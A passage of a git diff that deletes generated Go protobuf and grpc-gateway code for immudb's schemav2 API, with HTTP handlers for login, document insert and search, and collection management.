immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexType - 1, // 11: immudb.schemav2.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexType - 1, // 12: immudb.schemav2.CollectionInformation.PrimaryKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexType - 1, // 13: immudb.schemav2.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexType - 6, // 14: immudb.schemav2.ImmuServiceV2.LoginV2:input_type -> immudb.schemav2.LoginRequest - 2, // 15: immudb.schemav2.ImmuServiceV2.DocumentInsert:input_type -> immudb.schemav2.DocumentInsertRequest - 4, // 16: immudb.schemav2.ImmuServiceV2.DocumentSearch:input_type -> immudb.schemav2.DocumentSearchRequest - 8, // 17: immudb.schemav2.ImmuServiceV2.CollectionCreate:input_type -> immudb.schemav2.CollectionCreateRequest - 10, // 18: immudb.schemav2.ImmuServiceV2.CollectionGet:input_type -> immudb.schemav2.CollectionGetRequest - 11, // 19: immudb.schemav2.ImmuServiceV2.CollectionList:input_type -> immudb.schemav2.CollectionListRequest - 13, // 20: immudb.schemav2.ImmuServiceV2.CollectionDelete:input_type -> immudb.schemav2.CollectionDeleteRequest - 7, // 21: immudb.schemav2.ImmuServiceV2.LoginV2:output_type -> immudb.schemav2.LoginResponseV2 - 21, // 22: immudb.schemav2.ImmuServiceV2.DocumentInsert:output_type -> immudb.schema.VerifiableTx - 5, // 23: immudb.schemav2.ImmuServiceV2.DocumentSearch:output_type -> immudb.schemav2.DocumentSearchResponse - 9, // 24: immudb.schemav2.ImmuServiceV2.CollectionCreate:output_type -> immudb.schemav2.CollectionInformation - 9, // 25: immudb.schemav2.ImmuServiceV2.CollectionGet:output_type -> immudb.schemav2.CollectionInformation - 12, // 26: immudb.schemav2.ImmuServiceV2.CollectionList:output_type -> immudb.schemav2.CollectionListResponse - 22, // 27: immudb.schemav2.ImmuServiceV2.CollectionDelete:output_type -> google.protobuf.Empty - 21, // [21:28] is the sub-list for method output_type - 14, // [14:21] is the sub-list for method input_type - 14, // [14:14] is the sub-list for extension type_name - 14, // [14:14] is the sub-list for extension extendee - 0, // [0:14] is the sub-list for field type_name -} - -func init() { file_schemav2_proto_init() } -func file_schemav2_proto_init() { - if File_schemav2_proto != nil { - return - } - if !protoimpl.UnsafeEnabled { - file_schemav2_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentInsertRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentQuery); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentSearchRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentSearchResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*LoginRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*LoginResponseV2); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionCreateRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionInformation); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionGetRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionListRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionListResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionDeleteRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Proof); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - } - type x struct{} - out := protoimpl.TypeBuilder{ - File: protoimpl.DescBuilder{ - GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: file_schemav2_proto_rawDesc, - NumEnums: 2, - NumMessages: 17, - NumExtensions: 0, - NumServices: 1, - }, - GoTypes: file_schemav2_proto_goTypes, - DependencyIndexes: file_schemav2_proto_depIdxs, - EnumInfos: file_schemav2_proto_enumTypes, - MessageInfos: file_schemav2_proto_msgTypes, - }.Build() - File_schemav2_proto = out.File - file_schemav2_proto_rawDesc = nil - file_schemav2_proto_goTypes = nil - file_schemav2_proto_depIdxs = nil -} diff --git a/pkg/api/schemav2/schemav2.pb.gw.go b/pkg/api/schemav2/schemav2.pb.gw.go deleted file mode 100644 index f9cf10c3ae..0000000000 --- a/pkg/api/schemav2/schemav2.pb.gw.go +++ /dev/null @@ -1,659 +0,0 @@ -// Code generated by protoc-gen-grpc-gateway. DO NOT EDIT. -// source: schemav2.proto - -/* -Package schemav2 is a reverse proxy. - -It translates gRPC into RESTful JSON APIs. -*/ -package schemav2 - -import ( - "context" - "io" - "net/http" - - "github.com/golang/protobuf/descriptor" - "github.com/golang/protobuf/proto" - "github.com/grpc-ecosystem/grpc-gateway/runtime" - "github.com/grpc-ecosystem/grpc-gateway/utilities" - "google.golang.org/grpc" - "google.golang.org/grpc/codes" - "google.golang.org/grpc/grpclog" - "google.golang.org/grpc/metadata" - "google.golang.org/grpc/status" -) - -// Suppress "imported and not used" errors -var _ codes.Code -var _ io.Reader -var _ status.Status -var _ = runtime.String -var _ = utilities.NewDoubleArray -var _ = descriptor.ForMessage -var _ = metadata.Join - -func request_ImmuServiceV2_LoginV2_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq LoginRequest - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := client.LoginV2(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) - return msg, metadata, err - -} - -func local_request_ImmuServiceV2_LoginV2_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq LoginRequest - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := server.LoginV2(ctx, &protoReq) - return msg, metadata, err - -} - -func request_ImmuServiceV2_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentInsertRequest - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := client.DocumentInsert(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) - return msg, metadata, err - -} - -func local_request_ImmuServiceV2_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentInsertRequest - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := server.DocumentInsert(ctx, &protoReq) - return msg, metadata, err - -} - -func request_ImmuServiceV2_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentSearchRequest - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := client.DocumentSearch(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) - return msg, metadata, err - -} - -func local_request_ImmuServiceV2_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentSearchRequest - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := server.DocumentSearch(ctx, &protoReq) - return msg, metadata, err - -} - -func request_ImmuServiceV2_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionCreateRequest - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := client.CollectionCreate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) - return msg, metadata, err - -} - -func local_request_ImmuServiceV2_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionCreateRequest - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := server.CollectionCreate(ctx, &protoReq) - return msg, metadata, err - -} - -var ( - filter_ImmuServiceV2_CollectionGet_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} -) - -func request_ImmuServiceV2_CollectionGet_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionGetRequest - var metadata runtime.ServerMetadata - - if err := req.ParseForm(); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuServiceV2_CollectionGet_0); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := client.CollectionGet(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) - return msg, metadata, err - -} - -func local_request_ImmuServiceV2_CollectionGet_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionGetRequest - var metadata runtime.ServerMetadata - - if err := req.ParseForm(); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuServiceV2_CollectionGet_0); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := server.CollectionGet(ctx, &protoReq) - return msg, metadata, err - -} - -func request_ImmuServiceV2_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionListRequest - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := client.CollectionList(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) - return msg, metadata, err - -} - -func local_request_ImmuServiceV2_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionListRequest - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := server.CollectionList(ctx, &protoReq) - return msg, metadata, err - -} - -var ( - filter_ImmuServiceV2_CollectionDelete_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} -) - -func request_ImmuServiceV2_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionDeleteRequest - var metadata runtime.ServerMetadata - - if err := req.ParseForm(); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuServiceV2_CollectionDelete_0); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := client.CollectionDelete(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) - return msg, metadata, err - -} - -func local_request_ImmuServiceV2_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionDeleteRequest - var metadata runtime.ServerMetadata - - if err := req.ParseForm(); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuServiceV2_CollectionDelete_0); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := server.CollectionDelete(ctx, &protoReq) - return msg, metadata, err - -} - -// RegisterImmuServiceV2HandlerServer registers the http handlers for service ImmuServiceV2 to "mux". -// UnaryRPC :call ImmuServiceV2Server directly. -// StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. -// Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterImmuServiceV2HandlerFromEndpoint instead. -func RegisterImmuServiceV2HandlerServer(ctx context.Context, mux *runtime.ServeMux, server ImmuServiceV2Server) error { - - mux.Handle("POST", pattern_ImmuServiceV2_LoginV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - var stream runtime.ServerTransportStream - ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := local_request_ImmuServiceV2_LoginV2_0(rctx, inboundMarshaler, server, req, pathParams) - md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_ImmuServiceV2_LoginV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - mux.Handle("PUT", pattern_ImmuServiceV2_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - var stream runtime.ServerTransportStream - ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := local_request_ImmuServiceV2_DocumentInsert_0(rctx, inboundMarshaler, server, req, pathParams) - md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_ImmuServiceV2_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - mux.Handle("POST", pattern_ImmuServiceV2_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - var stream runtime.ServerTransportStream - ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := local_request_ImmuServiceV2_DocumentSearch_0(rctx, inboundMarshaler, server, req, pathParams) - md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_ImmuServiceV2_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - mux.Handle("PUT", pattern_ImmuServiceV2_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - var stream runtime.ServerTransportStream - ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := local_request_ImmuServiceV2_CollectionCreate_0(rctx, inboundMarshaler, server, req, pathParams) - md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_ImmuServiceV2_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - mux.Handle("GET", pattern_ImmuServiceV2_CollectionGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - var stream runtime.ServerTransportStream - ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := local_request_ImmuServiceV2_CollectionGet_0(rctx, inboundMarshaler, server, req, pathParams) - md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_ImmuServiceV2_CollectionGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - mux.Handle("POST", pattern_ImmuServiceV2_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - var stream runtime.ServerTransportStream - ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := local_request_ImmuServiceV2_CollectionList_0(rctx, inboundMarshaler, server, req, pathParams) - md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_ImmuServiceV2_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - mux.Handle("DELETE", pattern_ImmuServiceV2_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - var stream runtime.ServerTransportStream - ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := local_request_ImmuServiceV2_CollectionDelete_0(rctx, inboundMarshaler, server, req, pathParams) - md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_ImmuServiceV2_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - return nil -} - -// RegisterImmuServiceV2HandlerFromEndpoint is same as RegisterImmuServiceV2Handler but -// automatically dials to "endpoint" and closes the connection when "ctx" gets done. -func RegisterImmuServiceV2HandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) { - conn, err := grpc.Dial(endpoint, opts...) - if err != nil { - return err - } - defer func() { - if err != nil { - if cerr := conn.Close(); cerr != nil { - grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) - } - return - } - go func() { - <-ctx.Done() - if cerr := conn.Close(); cerr != nil { - grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) - } - }() - }() - - return RegisterImmuServiceV2Handler(ctx, mux, conn) -} - -// RegisterImmuServiceV2Handler registers the http handlers for service ImmuServiceV2 to "mux". -// The handlers forward requests to the grpc endpoint over "conn". -func RegisterImmuServiceV2Handler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error { - return RegisterImmuServiceV2HandlerClient(ctx, mux, NewImmuServiceV2Client(conn)) -} - -// RegisterImmuServiceV2HandlerClient registers the http handlers for service ImmuServiceV2 -// to "mux". The handlers forward requests to the grpc endpoint over the given implementation of "ImmuServiceV2Client". -// Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in "ImmuServiceV2Client" -// doesn't go through the normal gRPC flow (creating a gRPC client etc.) then it will be up to the passed in -// "ImmuServiceV2Client" to call the correct interceptors. -func RegisterImmuServiceV2HandlerClient(ctx context.Context, mux *runtime.ServeMux, client ImmuServiceV2Client) error { - - mux.Handle("POST", pattern_ImmuServiceV2_LoginV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := request_ImmuServiceV2_LoginV2_0(rctx, inboundMarshaler, client, req, pathParams) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_ImmuServiceV2_LoginV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - mux.Handle("PUT", pattern_ImmuServiceV2_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := request_ImmuServiceV2_DocumentInsert_0(rctx, inboundMarshaler, client, req, pathParams) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_ImmuServiceV2_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - mux.Handle("POST", pattern_ImmuServiceV2_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := request_ImmuServiceV2_DocumentSearch_0(rctx, inboundMarshaler, client, req, pathParams) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_ImmuServiceV2_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - mux.Handle("PUT", pattern_ImmuServiceV2_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := request_ImmuServiceV2_CollectionCreate_0(rctx, inboundMarshaler, client, req, pathParams) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_ImmuServiceV2_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - mux.Handle("GET", pattern_ImmuServiceV2_CollectionGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := request_ImmuServiceV2_CollectionGet_0(rctx, inboundMarshaler, client, req, pathParams) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_ImmuServiceV2_CollectionGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) 